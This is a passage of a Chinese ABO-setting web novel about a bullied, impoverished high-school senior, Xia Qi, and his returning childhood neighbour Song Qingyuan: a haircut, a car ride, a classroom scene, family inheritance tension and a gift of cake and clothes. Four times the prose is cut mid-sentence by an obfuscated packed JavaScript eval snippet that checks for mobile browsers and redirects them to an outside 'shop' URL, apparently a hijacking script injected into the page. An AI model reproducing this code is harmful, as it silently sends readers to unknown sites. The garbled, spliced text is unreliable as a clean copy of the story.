“小心前面有台阶,”宋清远继续说,“我们这里就是地方小,人也少,等期期你去念大学,说不定比我还惨。” 夏期听得神往,心情也愈发开心:“……到时候……我可以认识很多朋友,和他们一起出去玩游戏。” 宋清远:“有想好考哪个大学吗?” “Y、Y大。” 夏期想去Y大,学什么专业呢?理科一些的吧。他喜欢计算,喜欢数字,喜欢那种确定又明晰的结论,喜欢一个确定的、不被黑暗不被迷雾遮盖的结果。 八年前那个无雨酷热的夏夜,他抚摸着宋清远的Y大录取通知书上凸起的烫金大字,连字都认不太全。他问哥哥,这个学校好吗?宋清远说,的确不错。夏期吸吸鼻子忍住眼泪,说,哥哥那我也要上这个学校,我去找你好不好?宋清远说好。 宋清远也许不记得了,但将Y大说出口的瞬间,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496785|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏期来说便是把自己的仰慕与崇拜展现给清远哥看。他觉得一股热气涌上了脸颊,手指将清远哥臂弯处的西装抓得皱巴巴,好在宋清远都没发现。 接下来的路程夏期一心二用,边同宋清远聊天,边小心翼翼地挪动着手指、一点点将坚硬的布料抚平,总算是在抵达理发店前成功复原。 空气里咸湿的雨气,木瓜香气,草叶气中渐渐多出了理发店特有的洗发水混合着发胶的刺鼻香。 夏期知道这家店,就在学校隔着两条后街的拐角处,他偶尔路过的时候,店里会放一些他从未听过的抒情英文歌。夏期也知道店主前些年由母亲换成了年轻的儿子与儿媳,二人的名字偶尔也会出现在楼道门口的叔叔阿姨的讨论中,只是在他们的话语里,这两人的名字被替换成“论证了念大学没什么用的高材生”和“有个疼她的老公就是命好的小丫头”。 没想到这家店的店长原来和清远哥是校友。 宋清远收了伞,将夏期牵进去。店里这么晚还有客人,店主道:“学长你先坐在旁边等一下,马上就好。” 宋清远应一声。 店主很健谈,或是只是因为看到了宋清远。伴随着咔嚓咔嚓的剪刀声响,他问了宋清远好多问题。 -你一回南城就赶上雨季了,还适应吗?-是有些不适应了。 -还是淮流的天气好一些吧?夏天再热也热不到哪里去。-冬天就还是南城好一点,温暖。 -不耽误工作?-耽误,但是好爽。-哈哈。 -这次回来待多久?-还不确定,得看我家老爷子的状态。几个公司还有事情要跑。 -你还要帮忙管公司?-什么话,我是顾问呢。宋大顾问。-哎呦呦好大的官。 宋清远和朋友说话的时候,语气就不像对待小孩子了,要更活泛。很有趣。 夏期歪着头听得入神,不知不觉嘴角也被活泼的气氛感染上笑意。 一阵吹风机的声音后,店长结束了上一位客人的服务,叫夏期:“小夏过来吧,我先给你洗头发?” 夏期立即站起身,宋清远问:“你认识期期?” “什么话。”店主笑:“咱们南城就屁大点的地方,从东走到西也才不到半个小时啊。” 宋清远也笑了:“那是因为我们是南北向的岛啊,有本事你南北走。” 店主不理宋清远了。 他让夏期躺在椅子上,手垫在夏期后脑:“小夏想剪个什么样的发型?” 夏期说:“……很短的。” “板寸?” 如果是板寸……应该很清爽吧,他们就不会再说自己头发太长了,洗发膏也会节省下来,下一次剪头发可以在很久之后。 只是会不会让他反而变得更显眼? 夏期犹豫着,听到宋清远说:“什么板寸,你怎么不给自己理成光头?” 店主嘿地一笑,夏期才反应过来他竟是在打趣自己,而清远哥已经帮他挡下了这个玩笑。 宋清远顿了顿,又说:“你给期期理个清爽好看的就行。” 店主说:“学长你还是那么爱操心……放心吧,小夏本来就好看,我怎么剪都丑不了的。” 5. 第 5 章 第5章 店主的手很有技巧地托着夏期的后脑勺:“放松,放松。” 夏期觉得不敢把自己头部的全部重量压下去的自己有点好笑。 店主说了两次也就放弃了,可能已经习惯了如夏期一般拘谨的青少年。他打开水冲洗夏期的头发,又关上水:“哎,忘了,得先把止咬器拿下来。” 夏期抬手去解。浸了水的皮绳和细软的发丝与扣子纠缠在一起,越急切忙乱越无法成功。 宋清远说:“我来吧。” 硬质皮鞋踏在地面上的声音,店长把夏期的头再向上抬了抬。另一双手带着凉凉的温度探到了夏期后脑,指腹顺着夏期的发丝朝里探,终于找到卡扣的位置。 咔哒一声。宋清远说:“好了。” 又说:“脸都被勒红了。” “他们现在都得戴这个。”店长说:“怕出事。之前哪里的高中来着,那个alpha分化后把老师给咬了,强制标记,听说满地的血和信息素。从那以后学校就强制带这个了。” 店长又说:“我记得还是你家去安排的慈善机构。不然咱们这的学校都没有东西用。” 宋清远嗯了声:“可能是我三叔张罗的,他这几年在搞慈善。” 店长笑:“其实你说了我也不知道是谁,你家人太多了。” 夏期听到宋清远也轻轻地笑了一下:“其实我也记不清。” 洗干净了头发,接下来是剪发。 剪刀和梳子在熟练使用者的手中发出轻盈的声音,同时变得轻盈的还有夏期的头发。 宋清远起初坐在后面,后来可能是因为无聊便上前来了:“试试这样的刘海?” 店长很不乐意:“下次你做雕塑的时候我在旁边指导,看你开不开心。” 宋清远笑。 从大家你一言我一语的小道消息中,夏期也听说了不少关于清远哥的事情。他知道清远哥在大学转过专业,后来不知道怎么就去学了艺术,还去当了美术老师。 原来美术老师还要做雕塑啊……是人像,还是茶杯茶壶?……怪不得清远哥的微信名叫“泥巴搬运工”。 夏期剪头发的时候,店长和宋清远聊了很久,许是有很多年不见,许是大学时光格外美好,两人连Y大湖里的鱼都要从记忆里翻出来讨论一番。宋清远偶尔会抬个话头:“那鱼能一口把期期你的手吞下去。” 夏期知道宋清远是怕自己觉得被冷落。可他实在太笨拙了,鼓起勇气结结巴巴吐出的回应被吹风机的声音吃了过去。 店长又问宋清远:“这几天忙什么呢?约你好几次吃饭你都没空,小夏,还得谢谢你,不然我今天都见不到你宋哥哥。” 宋清远说:“相亲。” “我就说你这次回来肯定被催婚,哈哈。”店长的声音很欢乐:“有喜欢的吗?” 宋清远没回答。也许摇头或是点头了,但夏期看不到。 店长双手把夏期的脸摆正,问他:“觉得怎么样?” 夏期摸摸长度,很满意,不过除了长度外他也什么都说不出来了。宋清远说:“不错。” “手艺好,模特好。”店长说:“小夏你才十八岁啊,真好啊,嫩得可以掐出水的年纪。不像我都快枯萎了。” “你枯萎我算什么?”宋清远又在说让夏期不知道该不该笑出声的笑话了,“零落成泥碾作尘?” 结账的时候夏期从书包深处翻出手机。 宋清远按住他的手,低声和店长说了几句后,对夏期说了句“等我一下”后,便撑伞走入雨中。 宋清远离开后,弥漫着香气的理发店像突然睡着了,变得安静。 店长放了首英文歌。夏期由衷地感谢音乐。 门外传来车子引擎的声音,接着是开车门,关车门。宋清远说:“谢了。”又对夏期解释:“太晚了,雨也大,我开车送你回去。” 夏期点头。 南城的深夜热雾蒸腾,空气几乎凝滞成实体。车里开了冷气,夏期一坐进去,人造凉风吹过,提神醒脑,连感冒带来的头晕都被驱散了许多。 “冷不冷?”宋清远问。 夏期说:“不冷。”手里抱着书包。 宋清远从后视镜看了一眼夏期。 学弟还是按照他找的参考图给夏期剪了刘海,夏期虽然瘦得甚至开始不健康,但面部轮廓足够流畅,眼睛也圆,这让夏期看起来比他实际年龄还要小很多。头顶的发还带着湿气,南城的所有头发都是干得慢湿得快。 宋清远接触过贫困生,不论男女ao,其实都是一样的,或幽怨或积极,心里有一条随风摆动却怎么都断不了的柳枝。都是一样的。 夏期同他们不一样的地方是他叫宋清远“清远哥”。 邻家的小弟弟,宋清远最初也嫌过他黏人,故意逗他故意不露面故意说他听不懂的话,夏期从来都不介意,最后他也妥协了。 从南城去淮流念书要先坐船再转火车,加上等待时间路上兜兜转转近三天。宋清远带的书看完了,听歌听得烦躁,画画也不想画,火车盒饭吃到反胃时,从书包侧面的水杯袋里找到了一张花花绿绿的贺卡。 他的小弟弟夏期,歪歪扭扭地写“清远哥哥一路平安,我会想你的”,后面跟着一个被泪水打湿的笑脸。 后来他成功抵达淮流。从一个岛终于登上一片陆地。 他舒适惬意地生活起来,期间几次写信给夏期,但都杳无音讯。只能从偶尔打回老宅的电话中得知夏期的近况——“他挺好的”,“他很好啊”,“他好得很呢。” 全世界的水都会重逢,北冰洋与尼罗河会在湿云中交融。只要下雨。宋清远知道自己一定会再见到夏期。(注1) 他帮夏期固定了一下安全带,又从他鼻梁上摘下一根碎发后发动车子,雨水一路追打着顶棚,发出清脆的敲击。 等到夏期家楼下,宋清远先下了车去另一侧接他:“我送你上去。” 又无奈说:“那块蛋糕刚刚被颠簸碎了,我改天再带新的给你。” 夏期这才想起宋清远今天来见自己的根本原因。 夏期捏着书包带,说:“没事……” 宋清远说:“下次给你带我觉得好吃的。我的口味你放心。别忘了我家老爷子是做什么的。” 是卖糖果和巧克力的。也卖甜品,也卖甜水。南城的小孩子都觉得宋家的老爷子是全天下最厉害的人。 夏期曾经也是这么想。幼时他偶尔还能从宋清远身上嗅到糖果甜香的气味,而宋清远也总能像变戏法一样,不知道从哪里拿出一块糖给他吃,再用糖纸给他折一只皱巴巴的飞机。 夏期说清远哥我想要千纸鹤。 宋清远就说你看哥哥像不像千纸鹤? 夏期:“……”他觉得笑出来自己就输了。 到了家门口,夏期拿出钥匙开门。宋清远问:“今天作业多不多?” 夏期点点头,又摇摇头。 “作业多但是老师不会检查的意思?”宋清远很有经验地问。 夏期很惊讶:“清远哥你会这样做吗?” 宋清远:“……”他笑,转移话题地似的把一张硬质卡片放在夏期手里。 “这是?” 宋清远说:“刚刚那家店的会员卡。里面有储值,你以后剪发都可以去那里,别嫌麻烦就行。” 夏期用双手的食指和拇指捏着那张薄薄的卡片,几乎是尊敬的姿态:“我……” 宋清远的手在他肩膀上用力了一下,轻巧地把他推进门:“早点休息,时间也不早了,我就不打扰了。” 说完还帮夏期关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496786|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了门。 夏期听到宋清远愈来愈远去的脚步声。 他摸了摸耳边的碎短发,想,又有礼物,又有蛋糕,天呐,莫非今天才是他真正的生日? 一觉醒来,细雨仍然如笼般笼罩南城。 今早的电台都是英文歌,温柔轻暖,听得人心情舒畅。 夏期到教室的时候,室内有一瞬的安静。 他垂着头走到自己的座位上。 罗嘉伟问:“夏期你剪头发了?” 夏期从嗓子里挤出一个含糊的嗯音。 罗嘉伟突然把手放在他头上揉了下,粗糙的力度。和被宋清远摸头时完全不同的感觉,夏期吓了一跳,猛地后仰,差点连人带桌都掀翻在地。 罗嘉伟不满他的反应,如用树枝戳猫的孩子不满猫竟会逃走一般:“你干什么啊?至于那么夸张吗?” 夏期已经有经验,这种时候不管他说什么,做什么,都只会让对方的怒火加剧,他抿住嘴唇不讲话。 罗嘉伟果然就觉得没劲了,哼一声。 有人在教室后排打闹嬉笑,其中一人叫罗嘉伟的名字,罗嘉伟不耐烦地说:“不去,我补作业。” “补什么作业啊。”有人说:“老师都不检查了。再过几周我们就放假了。” 罗嘉伟哗啦啦地抖了一下卷子,半转过身体朝向教室后方,一条手臂搭在了夏期的椅背上,手肘尖尖的地方恰巧抵在夏期的肩胛骨上,夏期默默地往前坐了坐。 罗嘉伟说:“放假去哪里玩?你们去不去旅游?” “当然。” “我想出国看雪,我爸妈不让。”罗嘉伟说:“但是同意我自己一个人去北方了。” “我也想自己一个人去,我爸不让。”同学说:“罗嘉伟我和你一起去吧,说不定我爸妈就让了。” 罗嘉伟说:“行啊。”手肘碰了下夏期:“你呢?” 夏期再往前挪了下,屁股只搭在椅子上搭了个小边,几乎快要掉下去。 罗嘉伟又碰他的后背。 ……明明他都已经空出很大一块地方了。 夏期勉强坐稳身体,突然听到罗嘉伟叫自己的名字:“夏期你呢?” 夏期愣了愣。 所以刚刚不断的挤压,是因为问话的对象是他?夏期讷讷地说:“不知道……” 罗嘉伟说:“也对,你应该没钱出去玩吧。” 夏期嗯了声。 罗嘉伟又说:“我可以借你。” “……”夏期说:“嗯。” 上课的时候班主任带来了一份模拟试卷和一份意向调查表。 夏期已经数不清自己是第几次填意向调查表了,好像从升入高三以后,他就一直在填各种各样的表格。……姓名、性别、家庭住址、是否分化、身份证号码、希望考上的大学、父母的职业、特长……无数次地被填写,无数次地被复写。 果然班里的其他人也是这样想的,拖长了声音和班主任抱怨。 班主任说:“这次的表格很重要,你们拿回家去和家长商量着写,明天再交上来。” 夏期不用和父母商量,便抽了课间的时间写好了这份调查。 第二天学习委员把问卷收上去,统一交给了班主任。 再过了几天,周五的时候,这份问卷的重要性才终于体现出来。 班主任说:“关于你们的志向,周日下午我们开个家长会,让家长务必请好假来参加。这里我特意强调一下,事关你们的前途,别把你们耳背的爷爷奶奶请过来啊,听到没有?” 教室传出一阵哄笑,有人模仿起了听不清人讲话的老奶奶。 班主任踩着高跟鞋在讲台上左右走了两步,敲敲桌子,又说:“有特殊情况,父母实在来不了的,开家长会前来找我说明一下情况。” 6. 第 6 章 第6章 这一节课下课,就有几个学生团团把班主任围住:“老师,我家长来不了。” “为什么?” “上班呀,请不了假。” “我小爸最近和我生气,我不敢和他说话。” 同学们叽叽喳喳地说明理由。 班主任冷冷地哼笑一声:“我说的家里有特殊情况,是指家长都不在本地,但凡你们家里有一个能说上话的人,就叫他们过来!除非你们不想念大学了?!” “真是……有那么严重吗?”笑嘻嘻请假的同学们被班主任的气势镇住,纷纷撤退,只留下了几人。 夏期没去,他的情况学校老师都知道的,遇到事情不用单独和老师请假,想来十分不可思议,他竟然也拥有特权。 晚自习的时候班主任又说了一遍开家长会的事情,罗嘉伟问:“老师你能不能先剧透一下,你开家长会的时候要说什么啊?” 班主任心情应该不错,带着笑说:“和你们家长反应反应你们最近的状态。谁谈恋爱了,谁上课玩手机,谁总是交头接耳……” 教室里爆发出一阵哀嚎,原本因考试和热雨不断挤压的呼吸却因此得到了放松。众人开始讲话,先是偷偷的,低声与低声混合到一起;后来是光明正大说笑,声音越来越大越来越尖。 “安静,安静。”班主任这样说,但破了口的气球一飞冲天,教室里的声音依旧响亮。 夏期垂着头努力背着单词,突然听到有人叫自己的名字:“夏期,夏期!嘿!我在和你说话呢!” 夏期转回身。 那人问:“你认识宋清远吗?我昨天看到你和他一起走。” 教室里噪音指数下降了一截。 好似有一盏灼眼的聚光灯打在夏期正上方,夏期被炙烤得低头:“……他之前,住在我隔壁的楼。” 他希望这个话题尽快结束。 他不想让旁人的目光聚集在自己身上,更不想在宋清远背后说他的八卦。无奈他总是事与愿违,罗嘉伟问:“真的假的?你那房子旁边哪有楼?再说了宋清远为什么放着他的豪宅不住去住你隔壁?” 那是…… 是什么,夏期其实也不太清楚。他那时只是一觉醒来,他窗户对面的握手楼里就入住了人家。皮肤白又总在微笑的小哥哥,十分亲切。夏期那时淘气,不怕死地从自己屋子里的小窗户连跳带攀地爬到对面。 最开始的时候宋清远或是撑腮翻书,或是举着画笔画画,或是趴在钢琴上,笑吟吟地看他爬。 后来突然有一天他就不笑了,伸手接住夏期后,严厉地训斥了夏期,让他要注意安全。夏期从没见过那么凶的宋清远,但也没怕,因为宋清远说完后给夏期喂了颗很好吃的奶糖。 夏期趴在他后背上,像挂件一样,闭着眼睛听宋清远画画,听他弹钢琴。 趴在他后背上,听宋清远问:“期期呀你不怕我吗,我可是强/奸犯的儿子。” 夏期将头搁在宋清远的肩膀上说:“我最喜欢哥哥了。” 宋清远是夏期五岁的时候搬过来,到去念大学也一直都没有搬走。 只不过后来宋清远在家的时间已经越来越少了,他开始频繁出入本家,具体发生了什么,夏期并不知情,只知道他和宋清远在一起玩的时间越来越少了。 但宋清远分化的那天夏期正巧在。 发热、食欲低、后颈疼痛、四肢酸软……一系列分化症状全被宋清远占了个遍。已经有两名医生守在旁边,只等着检测宋清远的分化结果。 夏期等在门外。 他对生理健康的了解只有从很久之前的一本绘本书上看到的两句话:alpha很强壮我们不要让ta发怒,omega很辛苦我们要好好照顾ta。 他以为宋清远只是病了,守在门外为他默默祝福,等来的却是两名医生扶着宋清远上了救护车。宋清远离开后屋里面全是血腥味和消毒水的气息。 然后报纸上,电视上,广播里,所有的媒体都出现了宋清远的名字,铺天盖地。 宋清远在南城也有了另一个名字。阳痿。每个人说起时都会笑。 还是宋清远离开南城很久后,夏期才明天过来,那天究竟发生了什么。 凭空生长的腺体,得不到信息素的支撑,每一秒钟都酸噬只是这个病最小的问题。 后来宋清远离开的第二年,老楼一带被政府改造拆迁,附近的居民都拿到了新房和补偿,唯有老楼的住户不满赔偿,联手抗议,却被绕过,从此一栋楼都变成钉子,扎在原处,等推楼的车和施工队离开,后悔也来不及了。 “他们想要更多钱啊。就是他那个外婆最先说的。”有同学说:“所以我才这么讨厌他,我之前不是都和你们说过了吗?” 班主任听到这句话,轻飘飘地叫了说话人的名字,那人轻哼一声,没再说出别的话来。 夏期跟许多同学一起恍然。 实则并不是他外婆率先的发起的抗议。 外婆忙着照顾瘫痪的外公,焦头烂额,在厨房和卧室里两点一线。突然有人敲门,拿着张纸要外婆签名:“把你的名字写上!” 外婆狐疑:“为什么只有我要写?” “按照顺序来的,按顺序。大家都要签的。” 外婆嘟囔了几句,大意是家在三楼按什么顺序来的,还是架不住对方的催促签了名。她一辈子也只会写从一到十的数字和自己的名字,数字总写的歪歪扭扭,名字写得倒是十分流畅,还有连笔和笔锋。 因外婆是第一个在抗议书上签下名字的,从此就变成了外婆带头。老楼里十几户居民跟着她签下了名字。 这些事发生的时候夏期还太小,老楼里的其他人其实比夏期要清楚,只是没有谁会主动承认自己的错处,只顺着其他人的说法也模糊了细节,一致对外地说是霞姐号召的,我们就跟着签了,要是早知道……那我们现在…… 有几个同学把这版本的故事讲了出来,大家或惊讶或厌弃地笑一下。又问了夏期一些宋清远的事情。 夏期架不住层层盘问,只好开口——宋清远哪天回来的南城,自己是怎样遇到了宋清远,宋清远很忙,好像是什么公司的顾问。 他越说声音越小,带着背叛了清远哥的负罪感。同学们见夏期什么都说不清楚,终于失去了兴趣,放过了他。 夏期也没了学习的心情,把头埋在臂弯里。 “夏期?”罗嘉伟从距离他很近的地方问。 夏期没动。罗嘉伟又问:“是宋清远带你去剪的头发吧?他们不是都说看到你和宋清远一起走了?” 夏期还是没动,也没讲话。像睡着了一样邪。罗嘉伟凶恶地说:“你以后离他远点。” 罗嘉伟的手推了推他的手肘:“听到没有?” 夏期终于坐起身,不解地问:“为什么?” 罗嘉伟说:“因为他的病会传染。” 夏期想反驳他。 但罗嘉伟的力气真的很大,夏期毫不怀疑他会分化成一个alpha。上次被他按在墙壁上看牙齿,他被罗嘉伟握住的手腕连续疼了两天。 夏期垂下头,手指摩挲着面前的课本,心中天人交战,酝酿勇气。最后他的勇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496787|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气膨胀而出:“……才不会传染。” 罗嘉伟没听到,他不知道什么时候已经离开了座位,蹲在地上和斜后方的同学玩闹。 回家的路上,夏期给宋清远发了条消息。 信号断续,夏期的消息在20:32分发出,宋清远在20:34分收到。 -对不起,清远哥。 后面跟着晚自习时发生的事情,密密麻麻的文字,是夏期为背叛了他而诚恳地道歉。 宋清远看了看窗外,雨下得很大,鸟巢蕨被雨水打得摇摇晃晃。 这个时候夏期应该刚放学,宋清远回他:路上小心,注意安全。 桌对面的人不耐地皱着眉:“你在东张西望什么?有没有听我说话。” “当然。”宋清远把眼神挪回来:“三哥。” 宋祁烦躁地站起身。 谁都知道,宋清远手里有一份旧遗嘱。只是没人知道这份遗嘱究竟写了什么。 他们几个兄弟同长辈打得昏天黑地,都想趁着老爷子病重把其他人连同对方的亲信赶出企业,却因顾忌宋清远手里那份旧遗嘱,更加焦头烂额。 他问宋清远:“你有什么打算?” 宋清远微笑:“……打算再带几年学生,拼几个职称,四十岁以前公推公选进到教育局,不过位置应该不会太好,得先从副职坐起。” “所以,”宋清远说:“别再让你的人给我送这个卡那个钻石了。受贿是要坐牢的。” 宋祁:“…………” “谁问你这个了?” 宋祁用看疯子的眼神看宋清远。宋清远就用那双略显细长,带一些狐狸特质的眼睛搁着薄薄的镜片和他对视。 “我知道你们都不信我。”宋清远说:“那是因为你们的脑子都被金钱腐蚀了,多走出南城看看,外面的世界不光不下雨,还很阳光健康。” 宋祁:“……” 宋祁少见地不知道该说什么,半晌后问:“你就那么喜欢当老师?” 宋清远笑了:“你不知道当老师有多有意思。” “就在今天早上,”他说,“我有个学生来找我,说他昨晚告白失败了,在人家omega宿舍下点燃的蜡烛起火了,大家扑了半天。然后你猜怎么着?” 宋祁很不想问。 但是宋清远当老师当久了,说话时候有一种把人当成小孩子的引导感,他不由自主地跟着宋清远的话说:“……怎么。”说完后他眼角抽了抽。 宋清远说:“扑火太累了,他喝了不少水,发微信问我哪里在学校哪里可以买到床垫。” 宋清远真的愉悦到笑出声,面容都跟着舒展了起来,宋祁说:“……有病。” “我本来就有。”宋清远诚恳地说。 又说:“有多大屁股穿多大裤衩,这个道理我还是懂的。我只适合当老师,不想当可恶的资本家。” “……”宋祁冷冷地说:“你说话注意素质。我不希望我的办公室里出现这么粗俗的词汇。” 宋清远:“哪个词?屁股?裤衩?屁股和裤衩?” 宋祁:“…………”有毛病。真是病的不清。 宋清远起身告辞。 老爷子的集团装修得豪华,瓷砖都勾金丝,反而显得土。宋清远走在走廊上,被他爷爷的审美晃得眼痛。 他叹气。 这次回家,是真的没有邪恶阴险的目的。只是想看看本家的热闹,和看看夏期。 想到夏期,宋清远抬起腕表看一下时间。 20:42分。 不知道那家蛋糕店会不会为他留个门。 7. 第 7 章 第7章 夏期有时会觉得庆幸。 同学们看不惯他,欺负他,大多是从言语。倒并没有谁真的对他动过手。 但有的时候也会觉得即便如此也难以承受。 从家门到校门的一路上,夏期自己都能感觉到自己的背脊越来越弯。 上大学就好了,就算去不成Y大,也要去一个离南城远远的,谁都找不到的学校。 今天晚自习从头热闹到尾。期间年级主任从后门进来训斥过一通,将大家都吓了一跳,不过主任走后没几分钟,教室又重新飞腾起来。 放学铃声响起前,教室里的话题变成了“考试完要做什么事情”的清单。 要换手机,要去旅游,要学外语,要去割双眼皮,要分化后试试抑制剂究竟是什么感觉,要健身要减肥要大睡一场……好多愿望,夏期的耳朵都为之震动。 夏期也在心里给自己列了一个清单。 1.要…… 要什么呢? 他并非没有愿望,只是能够实现的太少,又太庄重,就算在心里悄悄去念也仍觉得不够重视。生怕哪路鬼神路过时笑他不自量力。 在楼口时,夏期手机叮咚一声。是宋清远发来的语音消息。 夏期只有一副有线耳机,买收音机的时候附带的,破破烂烂。收音机不用的话,就分配给手机,听一听英语单词,音质嘈杂,幸而不会漏电。 宋清远的嗓音在嘈杂的底音中显得格外清晰。温和,尾音黏糊得像拿小棍子搅在一起的饴糖:“期期你今天方便吗,我能来找你玩吗?” 楼梯口的门已经老旧到无需钥匙就能拉开。夏期扯开门,回,好,哥哥。 宋清远过来需要多久?应该够他把早上剩下的碗筷洗净,再把身上被雨淋得湿漉漉的校服换下来,换一身舒服干爽的衣服……吧? 在二楼的拐角处,夏期突然闻到一股甜蜜柔软的气息,与从蛋糕房路过时闻到的气息别无二样。 还有声音。极轻微的手指触碰着屏幕的声音,手机的震动声,哒哒嗡嗡个不停,从他家门口的坐标发送出来。 有人在他家门口。 夏期抓紧楼梯的扶手,试探地问:“清远哥?” “是我。”宋清远的声音。 夏期握着楼梯扶手的手一下放松了。他朝那温暖的香气靠拢过去,觉得自己紧绷着的脊背也一节一节地放松了。 “我,我没想到你已经到了,清远哥。”夏期说,“我还有一只碗没有洗。” 宋清远笑:“没关系。你不嫌我没有提前打招呼就好。” 一个硬质东西从夏期鼻子前划过,带着水果与奶油的味道。宋清远问:“闻出是什么了吗?” 夏期问:“草莓蛋糕?” “不知道你现在还喜不喜欢吃这个。”宋清远道,“小时候倒是很喜欢。” 夏期说:“嗯……喜欢的。” 他侧身将宋清远让进了屋。 宋清远抬手打开电灯,将手中东西放在小桌上,拦住正往厨房走的夏期:“你先去换个衣服,我来就行。” 夏期拒绝几次,但争不过宋清远,只有乖乖进了卫生间。 等他冲澡出来,宋清远已经坐在桌前等他。看到夏期,宋清远发出了一声类似叹气的气音。 夏期立刻定住手脚:“……怎么了,清远哥。” 宋清远说:“别紧张。我是忘了把衣服给你。” “衣服?” 宋清远起身,哗啦地在纸袋里翻找后,把一套柔软的衣裤交到夏期手上:“我之前买的睡衣,尺寸太小了,穿不了,你试试看能不能穿。” 夏期愣愣地捧着那套睡衣,张了张口,闷声道:“我……我不是小孩子了,清远哥。” 所以他知道刚刚那套话只是宋清远的说辞。 夏期还是收下了这套睡衣。 他感觉很过意不去,同时也很开心。已经很久很久很久都没有人给他买过新衣服了。 他抬手脱掉自己身上的旧T恤。 分化前的孩子总是这样,认为这世界上只有男女。从心里不认为一个同为男性的alpha会对自己造成任何影响,所以连换衣服都无需避开。 宋清远飞快背过身去,眼底还残留着刚刚一闪而过的画面。苍白瘦弱的身体,薄成一片纸,肋骨的形状都清晰可见。 夏期本来穿的是到膝盖的短裤,宋清远买的睡裤则是长款,夏期就从外面直接套了上去。 衣裤的布料很温暖,在闷热的南城甚至会有些过于温暖了。但那种被软绵绵的布料包裹的感觉让夏期很舒适,甚至生出了足以令他在原地入睡的安全感。 他认真地和宋清远道谢,道了两遍。等第三遍讲谢谢的时候,宋清远在他额头上轻轻拍了一下:“还吃不吃蛋糕了。” 夏期小声地说:“嗯。” 宋清远给夏期切了一大块蛋糕,夏期捏着叉子轻轻抿一口,光是水果粒都有好多种类。 夏期怕宋清远觉得无聊,拼命找话题。每一科目的老师,写不完的试卷和调查表,今天晚自习发生的事情也被他拿出来说。 宋清远安静地听了一会后,问:“你喜欢罗嘉伟吗?” 夏期呛了一下:“不……” 宋清远轻笑了一下:“看你总提到他,还以为我们期期也要恋爱了。” 之前明明总说最喜欢清远哥哥了。 这句玩笑话疑似在调戏祖国的花朵,宋清远谨慎地没说出口。 散发着神圣光芒的教师资格证无时无刻不悬在他头顶正上方审判着他。 没吃完的蛋糕被收到了冰箱里,和孤零零的面包片与鸡蛋放在一起。除了蛋糕宋清远还给夏期带了些蔬菜,肉,牛奶,海鲜。竟然还有一条已经蒸好的大鱼,就放在鱼形状的瓷盘里。 ……这是怎么做到的? 清远哥是怎么样提过来的? 夏期被自己脑海里想象的画面逗笑了,垂着头别过脸去,宋清远又拍一拍他的额头:“笑什么呢?” 夏期觉得自己这样有些傻气:“没什么。” 宋清远帮他整理好冰箱,用手抚摸过去,一切都是整整齐齐、冰冰凉凉。 夏期感动得不知道该说什么,也不知道应不应该就这样收下宋清远的好意。他意识到自己的礼仪应该算是有些差劲。宋清远说:“期期。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496788|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏期攥着睡衣的一角,抬头。 宋清远说:“你还像以前一样,叫我哥哥吧。” 夏期感觉到有热度以跑步冠军的速度冲刺上了自己的脖子,耳根,接着是脸颊。宋清远安静着等着夏期开口。 夏期更用力地握着睡衣,声若蚊蝇:“……哥哥。” 哥哥二字一说出口,那股令人难耐的害羞竟然霎时转变成了喜悦。这两个字仿佛一下子把夏期拉回到了他记忆最深最快乐的时光里。他几乎想立刻抱住宋清远,像小时候那样驯服地把脸枕在宋清远的膝盖上撒娇。 宋清远嗯了声,说:“你既然叫我哥哥,就安心收下。” 夏期感动地点头。 宋清远帮他把攥皱的袖口抚平后,便打算离开。 夏期跟着他到门口,宋清远说:“好了,就送到这里。” 夏期喜悦又害羞地说:“哥哥再见。” 宋清远的皮鞋踏在老旧潮湿的台阶上,在狭窄的空间中发出独特的,硬质的回响。 夏期突然说:“哥哥。” 脚步声停下,宋清远问:“怎么了?” 夏期问:“哥哥你周日下午有空吗?” 宋清远想了下:“有。” 夏期觉得自己的心快要跳出嘴巴了,他不知道是从哪里生出来的勇气,问:“哥哥你可以帮我去开家长会吗?” 宋清远顿了下,说:“好,我知道了。” 